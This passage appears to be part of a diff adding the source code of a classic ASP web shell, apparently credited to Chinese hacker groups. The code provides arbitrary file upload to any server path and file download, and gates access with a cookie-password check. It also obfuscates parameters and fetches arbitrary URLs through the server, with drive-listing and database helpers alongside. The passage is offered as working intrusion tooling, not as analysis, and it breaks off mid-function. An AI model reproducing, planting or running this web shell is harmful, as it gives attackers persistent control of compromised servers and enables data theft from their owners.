Dim fileName,fileContentType + + fileName=getRight(thePath,"\") + Set objStream=CreateObj("Adodb.Stream") + objStream.Open + objStream.Type=1 + objStream.LoadFromFile(thePath) + chkerr(Err) + Session.CodePage=936 + Response.AddHeader"Content-Disposition","Attachment; Filename="&fileName + Session.CodePage=65001 + Response.AddHeader"Content-Length",objStream.Size + Response.ContentType="Application/Octet-Stream" + Response.BinaryWrite objStream.Read + Response.Flush() + objStream.Close + Set objStream=Nothing + End Sub + Class upload_5xsoft + Dim objForm,objFile + Public Function Form(strForm) + strForm=Lcase(strForm) + If Not objForm.exists(strForm) Then + Form="" + Else + Form=objForm(strForm) + End If + End Function + Public Function File(strFile) + If Not isDebugMode Then On Error Resume Next + strFile=Lcase(strFile) + If not objFile.exists(strFile) Then + Set File=new FileInfo + Else + Set File=objFile(strFile) + End If + End Function + Private Sub Class_Initialize + If Not isDebugMode Then On Error Resume Next + Dim RequestData,sStart,vbCrlf,sInfo,iInfoStart,iInfoEnd,tStream,iStart,theFile + Dim IfileSize,sFilePath,sFileType,sFormValue,sFileName + Dim IfindStart,IfindEnd + Dim IformStart,IformEnd,sFormName + Set objForm=CreateObj("Scripting.Dictionary") + Set objFile=CreateObj("Scripting.Dictionary") + If Request.TotalBytes<1 Then Exit Sub + Set tStream=CreateObj("adodb.stream") + Set objStream=CreateObj("adodb.stream") + objStream.Type=1 + objStream.Mode=3 + objStream.Open + objStream.Write Request.BinaryRead(Request.TotalBytes) + objStream.Position=0 + RequestData=objStream.Read + IformStart=1 + IformEnd=LenB(RequestData) + vbCrlf=chrB(13)&chrB(10) + sStart=MidB(RequestData,1,InStrB(IformStart,RequestData,vbCrlf)-1) + iStart=LenB(sStart) + IformStart=IformStart+iStart+1 + While(IformStart+10) 0 Then + Set theFile=new FileInfo + IfindStart=InStr(IfindEnd,sInfo,"filename=""",1)+10 + IfindEnd=InStr(IfindStart,sInfo,"""",1) + sFileName=Mid(sinfo,IfindStart,IfindEnd-IfindStart) + theFile.FileName=getFileName(sFileName) + theFile.FilePath=getFilePath(sFileName) + theFile.FileExt=GetFileExt(sFileName) + IfindStart=InStr(IfindEnd,sInfo,"Content-Type: ",1)+14 + IfindEnd=InStr(IfindStart,sInfo,vbCr) + theFile.FileType =Mid(sinfo,IfindStart,IfindEnd-IfindStart) + theFile.FileStart =iInfoEnd + theFile.FileSize=IformStart-iInfoEnd-3 + theFile.FormName=sFormName + If not objFile.Exists(sFormName)Then + objFile.add sFormName,theFile + End If + Else + tStream.Type =1 + tStream.Mode =3 + tStream.Open + objStream.Position=iInfoEnd + objStream.CopyTo tStream,IformStart-iInfoEnd-3 + tStream.Position=0 + tStream.Type=2 + tStream.CharSet ="gb2312" + sFormValue=tStream.ReadText + tStream.Close + If objForm.Exists(sFormName) Then + objForm(sFormName)=objForm(sFormName)&","&sFormValue + Else + objForm.Add sFormName,sFormValue + End If + End If + IformStart=IformStart+iStart+1 + wEnd + RequestData="" + Set tStream =nothing + End Sub + Private Sub Class_Terminate + If Not isDebugMode Then On Error Resume Next + If Request.TotalBytes>0 Then + objForm.RemoveAll + objFile.RemoveAll + Set objForm=nothing + Set objFile=nothing + objStream.Close + Set objStream =nothing + End If + End Sub + Private Function GetFilePath(FullPath) + If Not isDebugMode Then On Error Resume Next + If FullPath<>"" Then + GetFilePath=left(FullPath,InStrRev(FullPath,"\")) + Else + GetFilePath="" + End If + End Function + Private Function GetFileExt(FullPath) + If FullPath<>"" Then + GetFileExt=mid(FullPath,InStrRev(FullPath,".")+1) + Else + GetFileExt="" + End If + End Function + Private Function GetFileName(FullPath) + If FullPath<>"" Then + GetFileName=mid(FullPath,InStrRev(FullPath,"\")+1) + Else + GetFileName="" + End If + End Function + End Class + + Class FileInfo + Dim FormName,FileName,FilePath,FileSize,FileExt,FileType,FileStart + Private Sub Class_Initialize + FileName="" + FilePath="" + FileSize=0 + FileStart= 0 + FormName="" + FileType="" + FileExt = "" + End Sub + Public Function SaveAs(FullPath) + Dim dr,ErrorChar,i + SaveAs=True + If Trim(fullpath)="" or FileStart=0 or FileName="" or Right(fullpath,1)="/" Then exit Function + Set dr=CreateObject("Adodb.Stream") + dr.Mode=3 + dr.Type=1 + dr.Open + objStream.position=FileStart + objStream.copyto dr,FileSize + dr.SaveToFile FullPath,2 + dr.Close + Set dr=nothing + SaveAs=False + End Function + Public Function InFile() + objStream.position=FileStart + InFile=objStream.Read(FileSize) + End Function + End Class + Sub streamUpload() + If Not isDebugMode Then On Error Resume Next + If thePath="" Then thePath=aspPath + If InStr(thePath,":")<1 Then thePath=aspPath&"\"&thePath + Set theFile=cls_upload.File("upfile") + If destName="" Then destName=theFile.FileName + theFile.SaveAs(thePath&"\"&destName) + If Err Then + chkerr(Err) + Else + errMsgAdd("Upload Sucess") + End If + End Sub + + Function xmlGet(strUrl,method) + If Not isDebugMode Then On Error Resume Next + Dim pams + If method="POST" Then + pams=Split(strUrl,"?")(1) + strUrl=Split(strUrl,"?")(0) + End If + objXml.Open method,strUrl,False + If method="POST" Then + objXml.SetRequestHeader"Content-Type","application/x-www-form-urlencoded" + objXml.send pams + Else + objXml.send + End If + If regTest(objXml.getAllResponseHeaders(),"charSet ?= ?[""']?[\w-]+")Then + pagecharSet=Trim(regReplace(regExecute(objXml.getAllResponseHeaders(),"charSet ?= ?[""']?[\w-]+",False)(0),"charSet ?= ?[""']?","",False)) + ElseIf regTest(objXml.ResponseText,"charSet ?= ?[""']?[\w-]+")Then + pagecharSet=Trim(regReplace(regExecute(objXml.ResponseText,"charSet ?= ?[""']?[\w-]+",False)(0),"charSet ?= ?[""']?","",False)) + End If + If pagecharSet=""Then pagecharSet=defaultChr + xmlGet=bin2str2(objXml.responseBody,pagecharSet) + End Function + Function isIn() + If Request.Cookies(cookiePass)=""Then + isIn=False + Exit Function + End If + If CFSEncode(Request.Cookies(cookiePass))=pass Then + isIn=True + Else + isIn=False + End If + End Function + Function secretEncode(pamToEn) + If Not needEncode Or pamToEn=""Then + secretEncode=pamToEn + Exit Function + End If + Dim tt,tmpchr + tt="" + For i=1 To Len(pamToEn) + tmpchr=Mid(pamToEn,i,1) + If Asc(tmpchr)<128 And Asc(tmpchr)>0 Then + tt=tt&Asc(tmpchr)+encodeNum&encodeCut + Else + tt=tt&tmpchr&encodeCut + End If + Next + secretEncode=Left(tt,Len(tt)-1) + End Function + Function secretDecode(pamToDecode) + If Not needEncode Or pamToDecode="" Or Not regTest(pamToDecode,"^((\d+|.)"&encodeCut&")+(\d+|.)$")Then + secretDecode=pamToDecode + Exit Function + End If + Dim dd,tmpArr + dd="" + tmpArr=Split(pamToDecode,encodeCut) + For i=0 To UBound(tmpArr) + If IsNumeric(tmpArr(i))Then + dd=dd&Chr(CInt(tmpArr(i))-encodeNum) + Else + dd=dd&tmpArr(i) + End If + Next + secretDecode=dd + End Function + Function getADS() + Dim ADSstr,gwidth,gheight + gwidth=88 + gheight=31 + ADSstr="
    " + ADSstr=ADSstr&"Bink Team | " + ADSstr=ADSstr&"0kee Team | " + ADSstr=ADSstr&"T00ls | " + ADSstr=ADSstr&"Fuck Tencent" + getADS=ADSstr + End Function + Function bin2str2(binstr,strcharSet) + If Not isDebugMode Then On Error Resume Next + Dim BytesStream,StringReturn + Set BytesStream=CreateObj("Adodb.Stream") + With BytesStream + .Type=2 + .Open + .WriteText binstr + .Position=0 + .CharSet=strcharSet + .Position=2 + StringReturn=.ReadText(.Size) + .close + End With + Set BytesStream=Nothing + bin2str2=StringReturn + End Function + Function getServerVariable(str) + getServerVariable=Request.ServerVariables(str) + End Function + Function CreateObj(strObj) + Set CreateObj=Server.CreateObject(strObj) + End Function + Function getObj(strObj) + Set getObj=GetObject(strObj) + End Function + Function UrlEnc(str) + UrlEnc=server.urlencode(str) + End Function + Function getHex(str) + Dim tmphex,tmpstr + tmphex="" + For i=0 To Len(str)-1 + tmpstr=Right(str,Len(str)-i) + If Asc(tmpstr)<16 Then tmphex=tmphex&"0" + tmphex=tmphex&CStr(Hex(Asc(tmpstr))) + Next + getHex="0x"&tmphex + End Function + Function getUtf(str) + Dim tmphex,tmpstr + tmphex="" + For i=0 To Len(str)-1 + tmpstr=Right(str,Len(str)-i) + tmphex=tmphex&CStr(Hex(Asc(tmpstr)))&"00" + Next + getUtf="0x"&tmphex + End Function + Function htmlEnc(str) + str=textEncode(str) + str=Replace(str,Chr(13)&Chr(10),"
    ") + htmlEnc=Replace(str," "," ") + End Function + Function textEncode(str) + If Not isDebugMode Then On Error Resume Next + str=CStr(str) + If IsNull(str)Or str=""Then + textEncode="" + Exit Function + End If + textEncode=Server.HtmlEncode(str) + End Function + Function mapath(str) + mapath=Server.MapPath(str) + End Function + Sub chkerr(Err) + If Err Then + errMsgAdd"Exception :"&Err.Description + errMsgAdd"Exception source :"&Err.Source + Err.Clear + End If + End Sub + Function CfsEnCode(ByVal CodeStr) + Dim CodeLen + Dim CodeSpace + Dim NewCode + CodeLen=30 + CodeSpace=CodeLen-Len(CodeStr) + If Not CodeSpace<1 Then + For cecr=1 To CodeSpace + CodeStr=CodeStr&Chr(21) + Next + End If + NewCode=1 + Dim Ben + For cecb=1 To CodeLen + Ben=CodeLen+Asc(Mid(CodeStr,cecb,1)) * cecb + NewCode=NewCode * Ben + Next + CodeStr=NewCode + NewCode=Empty + For cec=1 To Len(CodeStr) + NewCode=NewCode&CfsCode(Mid(CodeStr,cec,3)) + Next + For cec=20 To Len(NewCode)-18 Step 2 + CfsEnCode=CfsEnCode&Mid(NewCode,cec,1) + Next + End Function + + Function CfsCode(word) + For cc=1 To Len(word) + CfsCode=CfsCode&Asc(Mid(word,cc,1)) + Next + CfsCode=Hex(CfsCode) + End Function + Function getTheSize(theSize) + If theSize>=(1024 * 1024 * 1024)Then getTheSize=Fix((theSize /(1024 * 1024 * 1024))* 100)/ 100&"G" + If theSize>=(1024 * 1024)And theSize<(1024 * 1024 * 1024)Then getTheSize=Fix((theSize /(1024 * 1024))* 100)/ 100&"M" + If theSize>=1024 And theSize<(1024 * 1024)Then getTheSize=Fix((theSize / 1024)* 100)/ 100&"K" + If theSize>=0 And theSize<1024 Then getTheSize=theSize&"B" + End Function + Function getDriveType(num) + Select Case num + Case 0 + getDriveType="Unknown" + Case 1 + getDriveType="Removable" + Case 2 + getDriveType="Local drive" + Case 3 + getDriveType="Net drive" + Case 4 + getDriveType="CD-ROM" + Case 5 + getDriveType="RAM disk" + End Select + End Function + Function doPathFormat(ByVal str) + str=Replace(str,"\","\\") + doPathFormat=Replace(str,"\\\\","\\") + End Function + Function getJetStr(str) + getJetStr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&str + End Function + Function getLeft(str,sign,fromLeft) + If str="" Or InStr(str,sign)<1 Then + getLeft="" + Exit Function + End If + If fromLeft Then + getLeft=Left(str,InStr(str,sign)-1) + Else + getLeft=Left(str,InstrRev(str,sign)-1) + End If + End Function + Function getRight(str,sign) + If str="" Or InStr(str,sign)<1 Then + getRight="" + Exit Function + End If + getRight=Mid(str,InstrRev(str,sign)+Len(sign)) + End Function + Sub echo(str) + Response.Write str + End Sub + Sub echoLine(str) + echo str&vbCrLf + End Sub + Sub doShowHideMe(strObj,hideMe) + echo""&strObj&" :" + echo"